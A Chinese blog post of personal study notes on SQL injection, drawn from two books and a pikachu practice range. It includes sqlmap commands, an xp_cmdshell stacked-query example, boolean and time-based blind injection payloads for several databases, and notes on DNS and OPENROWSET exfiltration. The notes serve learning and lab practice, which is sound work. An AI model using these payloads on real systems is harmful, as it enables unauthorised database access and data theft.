简短说get是请求服务器,post是向服务器发送消息。在点击url时一般时get因为可以看到参数,一般像表单提交submit的时候用post。
在报文中,get请求在首部,post在底部

7、当浏览器禁止修改参数的时候可以采取的方法:
(1)使用浏览器扩展
(2)使用本地代理(burp suit)

8、今天的学习印象很深的一句话是书中说的:测试sql注入漏洞时,可能会从web服务器收到不同的数据库错误,一定要熟知这些错误。

sql盲注
对于不显示数据库数据信息,但是显示不同情况的状态,存在漏洞的话属于盲注
sql盲注是非常耗时的并且会向web服务发送很多请求,一般还是用自动化比较好。

在url中可以用减号(-)来构建查询,比如id=2可以写成id=3-1,id=4-2。但是不能用加号(+),因为加号是URI的保留字,用 %2B 代表加号的url编码,比如查询id=6可以写成
id=1%2B5,id=2%2B4.

通过OR 或者 AND 判断注入点,下面要区分数字还有字符串
数字:不需要(’)
字符串:需要(’)
如果是数字和字符串混合,也需要用(’)包起来

sql server 重载(+),可以用(+)表示字符串连接。根据情况:
2+2 表示 4
‘2’+‘2’ 表示 ‘22’

复查代码中的SQL注入(白盒)

找程序潜在的sql漏洞,最快的就是复查程序源码(有些人比如在银行工作是不能用sql注入工具进行测试的)。快速复查可以明白某些动态字符串的构造和执行方式,不能明确用于查询的数据是否源于用户的浏览器(防止xss、中间人攻击)以及将数据给用户的时候有没有进行正确的验证或者编码。

渗入点】程序易受攻击的位置,受感染的数据会引发潜在的安全问题,也可以叫做【敏感函数,发现敏感函数之后要找到它的【渗入源】也就是入口点,并且通过搜索源码找到给敏感函数的一些参数如$param赋值的语句位置。比如找到:
$param=$_GET[“param”];
然后就是根据这个变量找到它的利用方式,也就是使用它的位置和方式。有些时候发现会对参数进行一些限制,比如用$limit变量对参数的长度进行一个限制,此时我们可以去跟踪一下$limit看看存在多大的注入空间。
我们知道,尽管使用了安全函数,但不可能完全防御SQL注入。所以我们审查的时候还需要着重看一下存在的其他安全问题,如:
1.危险的编码行为:
【提醒一下】url最长2048位,GET放在url里有长度限制,POST就没有。

2.危险的函数:

3.跟踪数据
可以使用基于UNIX的命令行查询工具【grep】,它可以通过正则表达式查找符合要求的文本。
(1)以跟踪php数据为例子:
首先要检查一些敏感的配置状态,如:register_globals(把EGPCS变量注册成全局变量,十分危险php4.2.0默认禁止了)和magic_quotes(这个魔术引号可以报出sql语句一些错误,比如使用单引号闭合的时候会报错,以此来进行下一步操作,关掉就看不到了,php5.3.0弃用该选项,php6.0.0移除该选项,所以也要关注php版本)。

然后使用 grep -r -n xxxxxxxxxx 来递归搜索一个源文件的目录,该命令i包含匹配内容的文件名和行号(我漏写了让结果更加美观的awk)完整的应该如下:(以查找input为例子)

$ grep -r -n “\input=.*$\.*” src/ | awk -F: ‘{print “filename:” $1″\nline: “$2″\nmatch: “$3″\n\n”}’


(2)复查Android应用程序代码

介绍一下如何拿到android的程序源码:
android平台以Dalvik Executable(.dex)格式运行应用程序,使用dex2jar可以把android应用程序的包文件(APK)转换为Java AchiveJAR)文件,然后使用java反汇编程序,如jdgui或者jad,反汇编应用程序并且查看源码。
【dex2jar】http://code.google.com/p.dex2jar
【jdgui】http://java.decompiler.free.fr?q=jdgui
【jad】http://varaneckas.com/jad

android的危险函数:
SQLiteQueryBuilder类
SQLiteDatabase类
上述俩类用来与SQLite交互。

SQLMap
kali里面就有,运行需要python环境,在windows做实验要注意
常用命令:
1.sqlmap -u url //找到注入点
2.sqlmap -u –dbs //列出数据库
3.sqlmap -u url –user //显示数据库用户
4.sqlmap -u url –table -D “tesdb” //列出test数据库的表
5.sqlmap -u url –columns -T “user” -D “testdb” //列出test库的user的列
6.sqlmap -u url –dump -C “id,username,password” -T “user” -D “testdb” //列出user列的字段。

————————————————-利用sql注入————————————————————

1.看看能不能用堆叠查询,就是在单个数据库连接中执行多条查询序列,这给操作者提供了便利,比如如下代码:
http://xxx.com/product.id=1;exec+master..xp_cmdshell+’dir’
不仅可以终止原来的查询还能添加一条新的查询
根据框架不同,不是所有都能实现堆叠查询,比如 使用ASP.NET和PHP访问ms sql server的时候可以,但是用JAV来查询就不行;如果访问mysql,PHP不能使用堆叠查询等。要了解这些不同可以访问一下连接查看,作者是ferruh mavituna:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

2.知道数据库的程序版本信息,利用已有的漏洞
根据不同数据库,使用一下指令可以查询版本:
1.ms sql server:SELECT@@version
2.mysql:SELECT version()
SELECT @@version
3.Oracle:SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
4.PostgreSQL: SELECT version()

3.想要间接直到后台使用的技术,可以利用不同数据库管理程序的sql语句的差别判断,比如拼接语句,每种数据库都有小的区别:
——-数据库————————————查询语句
ms sql server select ‘co’+’ol’
mysql select ‘co’ ‘ol’
oracle select ‘co’||’ol’
postgresql select ‘co’||’ol’
比如我们知道一个可以查询的字符串“cool”,就可以通过尝试组合字符来看谁返回的结果一样,来判断连接数据库的类型。

通过会返回数字的查询语句来判断:
——-数据库———————————–查询语句
ms sql server @@rowcount
mysql row_count()
oracle BITAND(1,1)
postgresql SELECT EXTRACT(DOW FROM NOW())

使用特定的sql方言(就是不同数据库特有的功能)来判断,比如一个有趣的判断mysql版本的方法(粗略),需要用到sql注释的知识,下面用到的是 /* */ 的注释方式
SELECT 1 /*!40119 +1 */ // /*!版本号 高过版本号会执行注释
执行以上代码,根据版本会返回不同结果:
2 //版本为 4.01.19版本或者以上高级版本,会把注释解释称代码
1 //低于版本号的其他版本。

4.查列数
经典ORDER BY 试出正确的列数,数据太多就用二分法。,查到列数之后我们需要找一个能输出字符串的列,这是之前为啥那么在sqllab靶场非得在第三列输出查询结果,因为只有第三列是输出字符串格式的。

5.通过时间查
基于时间在纯盲场景之中用处很大,但是不适合提取多位的信息

6.通过错误查

7.基于内容查

8.处理字符串(有点意思)
通过判断用户来生成url查询,代码如下:
select * from products where brand=’ac’+char(108+(case when+(system_user=’sa’) then 1 else 0 end) + ‘e’);
如果是sa,会返回acme,不是sa会返回acle。108是ascii码。

9.扩展攻击:
通过遍历猜出用户名长度之后在猜出用户名具体,猜长度如下:
select len(system_user) //比如用户名为appdbuser,返回9
随后根据循环遍历每个字符,也是通过ascii码



——————————————–SQL盲注利用—————————————————–

【使用推断和非主流通道(时间延迟、错误、dns查询、html响应)】
盲注可分为3类:基于布尔sql盲注、基于时间的盲注、基于报错的盲注

常用sql函数:
1.substr:提取字符串指定起始位置和长度的字符串,默认从起始到结束
substr(string,star_position,[length])
2.if: 满足一个条件可以赋一个值
id(expr1,expr2,expr3) //其中expr1是判断条件,expr2是为true返回值,expr3是false返回值
3.sleep:让语句停留n秒然后返回0,如果被打断,返回1
sleep(n)
4.ascii:返回ascii码

一、基于布尔:
页面返回true和false两种类型页面,用猜猜猜的方式猜,除了使用order by猜列名字,还可以:
1′ and length(database())=1 # //当数字试到返回正常就是说明数据库长度为多少,然后笨方法来猜数据库名….通过二分法查ascii码,例如:
1′ and ascii(substr(database(),1,1))<122
1′ and ascii(substr(database(),1,1))>80
猜表的数量:
1′ and (select count(table_name)) from information_schema.table where table_schema=database()=n # //当n试到成功,就知道了数量
猜表名:
1′ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=n # //看表名长度
猜表名(完整):
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>80 #
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)<122 #

猜字段数量:
1′ and (select count(column_name) from information_schema.columns where table_name=’users’)=n # //试到n存在
猜字段的名字:
1′ and length(substr(select column_name from information_schema.colunms where table_name=’user’ limit 0,1),1)=n # //看看字段名的长度
用ascii码猜字母吧累了不打了。。。
后面猜值也是一样的套路。。。。不打了。。、

二、基于时间的sql盲注:
首先要判断是否存在注入,然后判断字符型还是数字型
输入 1′ and sleep(5) # //感觉有延迟
1 and sleep(5) # //感觉没有延迟
说明存在字符型的基于时间的盲注 。

猜当前数据库名的长度:
1′ and if(length(database())=1,sleep(5),1) # //没有延迟
1′ and if(length(database())=n,sleep(5),1) # //明显延迟,试出是n

二分法猜数据库名:
1′ and if(ascii(substr(database(),1,1)>97),sleep(5),1) # //试出字母。。。。。。

【sql防御】:
1.在服务端正是处理之前对提交的数据的合法性进行检查
2.封装客户端提交的信息
3.替换或删除敏感字符/字符串
4.屏蔽出错信息

[到这里是对《漏洞利用&渗透测试基础》一书关于sql盲注的学习,下面是继续学习《sql注入攻击》一书的学习]

SQL盲注技术:————————————————————————

1.推断攻击技术
2.带外通道技术

对于推断攻击技术,类似本文前一部分提到的挨个猜单词的字母,但这样是非二进制安全的(binary-safe)。如果是逐位方法(bit-by-bit),二分搜索法,这两种是符合二进制安全的。聪明一点的还可以优化一下二分法
【这两个技术作为基础知识】

——————-基于时间的盲注———————-

基于时间的盲注,关注的点在于两个状态:延迟非延迟

针对不同的数据库有不同的引用延迟的方法:
1.MYSQL:
SLEEP() //版本号位5.0.12以及之后版本,强制产生延迟
BENCHMARK() // 向查询中引入可变且显著的延迟
例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’BOB’ UNION SELECT IF (SUBSTRING(USER(),1,4)=’ROOT’,SLEEP(5),1);
上述命令你用来判断连接数据库的用户是不是root

2.postgreSQL延迟技术
1)用系统库的sleep()函数 //版本<8.1
2)pg_sleep() //版本>8.2,注意它返回的类型是void,不能用在WHERE处

3.SQLserver延迟
使用WAITFOR关键字可以让查询终止一段时间再执行(既可以是相对时间,也可以是绝对时间)
执行的是相对时间时:使用DELAY关键字,如下:
WAITFOR DELAY ’00:01:53′ //执行1分53秒的等待,注意此时间是最低下限时间。
注意到,WAITFOR是不可以在子查询中使用的,但是因为SQLserver支持堆叠查询,我们可以:构造一个payload放在合法查询之后,用分号作为分隔符,如下例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’bob’ ;IF SYSTEM_USER=’sa’
WAITFOR DELAY ’00:00:05′
//推断是不是sa

4.oracle延迟
oracle不允许在delect语句的where中插入sleep()函数,但是可以通过引用一个特殊的包来调用,这个包时DBMA_LOCK(这个包提供了sleep()函数在内的一些有用的函数),用法如下
BEGIN DBMS_LOCK.SLEEP(N); END; //n为秒数
注意到这不是一个sql语句用法而是PL/SQL代码,所以是不能嵌入子查询的。还有不要忘记oracle不支持堆叠查询,而且只有数据库管理员能调用DBMS_LOCK包

基于时间的盲注,容易被其他因素影响,比如高负载的数据库或者信道拥挤都会引发慢的响应,那么就要想办法消除这些影响:
1.把延迟设置得足够长。但是这也还是取决于线路的状态和数据库的负载,他们是动态的比较难测量
2.同时发送两个几乎一样的请求,它们均包含延迟产生子句,一个在位值为产生延迟,一个在0产生延迟

—————–基于响应的sql盲注————————-

目前看了一下跟上部分提到的判断查询类似
【注意】:用php编写,用mysql作为数据存储的应用的时候,在进行数据查询过程产生的错误不会引发通用错误页面的异常。

————–使用非主流通道——————-

【通道依赖于数据库支持的功能,因此不适用所有数据库】
比如:DNS通道适用于POSTGRESQL、SQLSERVER\ORACLE,但是不适合MYSQL
下面学习四种独立的针对sql盲注的非主流通道:数据库连接、DNS、e-mail、HTTP

1.数据库连接:
针对sqlserver,攻击者通过它创建从受害者数据库到攻击者数据库的连接并通过该连接传递查询的数据。通过使用:OPENROWSET命令实现该目的。

2.DNS:
DNS是最出名的非主流通道不仅用作SQL注入漏洞的标记,也作为传输数据的通道,它的优点
1)网络只有入口过滤没有出口过滤的时候,或者仅有TCP出口过滤的时候,数据库可以直接向攻击者发送 DNS请求
2)DNS使用的是UDP,如果未收到数据库发送的查找请求的响应,至多会产生一个非致命的错误条件
3)处于中间位置的DNS服务器一般能在数据库的支持下传输流量
4)执行查找的时候,数据库会在默认情况下依赖配置在操作系统的DNS服务器
缺点:攻击者必须对在某一区域内进行了验证注册的DNS服务器拥有访问权

3.e-mail渗漏
邮件使用SMTP,不需要连接发送者和接收者

4.HTTP渗漏

5.ICMP渗漏

自动SQL盲注利用

介绍6种工具:
1.Absinthe

2.BSQL Hacker

3.SQLBrute

4.Sqlmap

5.Sqlninjia

6.Squeeza

—————利用操作系统————————–

有时候访问运行DBMS的主机上的文件系统会是另外的思路,因为可以做到类似获取证书的操作,另外的可以绕开数据库的验证(mysql一般以ascii文本格式存储数据库文件,通过读文件攻击可以在未达到DBMS验证级别的情况下读取数据库内容)

————————读文件—————————

1.mysql:
【草草看到287看不懂的太多了,缓一缓看点别的】



Sql-pikachu

看看今天能不能搞出几个

一、首先,pikachu靶场里的sql 章第一关,数字型注入

1.在查询处随便查一个数字,如2,然后bp抓包,发送给repeater,在id处加上 or 1=1# 之后send,在repeater的respond的render可以看到结果是把数据都遍历列举了出来,说明存在注入。

看来靶场的目的是简单的让我们了解一下注入类型,随着网络安全技术发展,sql注入存在的地方比以前少了很多,但是不是说没有,借用大牛的话,挖不到不是因为没有,而是因为你菜。

二、然后是字符型,因为观察查询的是username,猜测是字符型,所以构造payload为 sigma’ or 1=1#,发现也能遍历,所以是存在注入点。

三、搜索型。简单抓一下包,看到发送get请求包,会对账号进行查询。用第二点的payload也可以查询出结果。

也可以用mysql模糊查询来试试看,回忆一下这个语句

select * from table_name where username=’username’

当我们不记得具体的名字,但是记得名字的子串时,可以用正则式,通配符来查询,如:

select * from table_name where username like ‘%igma%’

%是通配符,代表人一个任意字符,所以上个命令查询带有igma的所有结果,而另外外一个通配符_(下划线) 代表一个某字符。

四、xx型,构造payload报错,有报错的提示。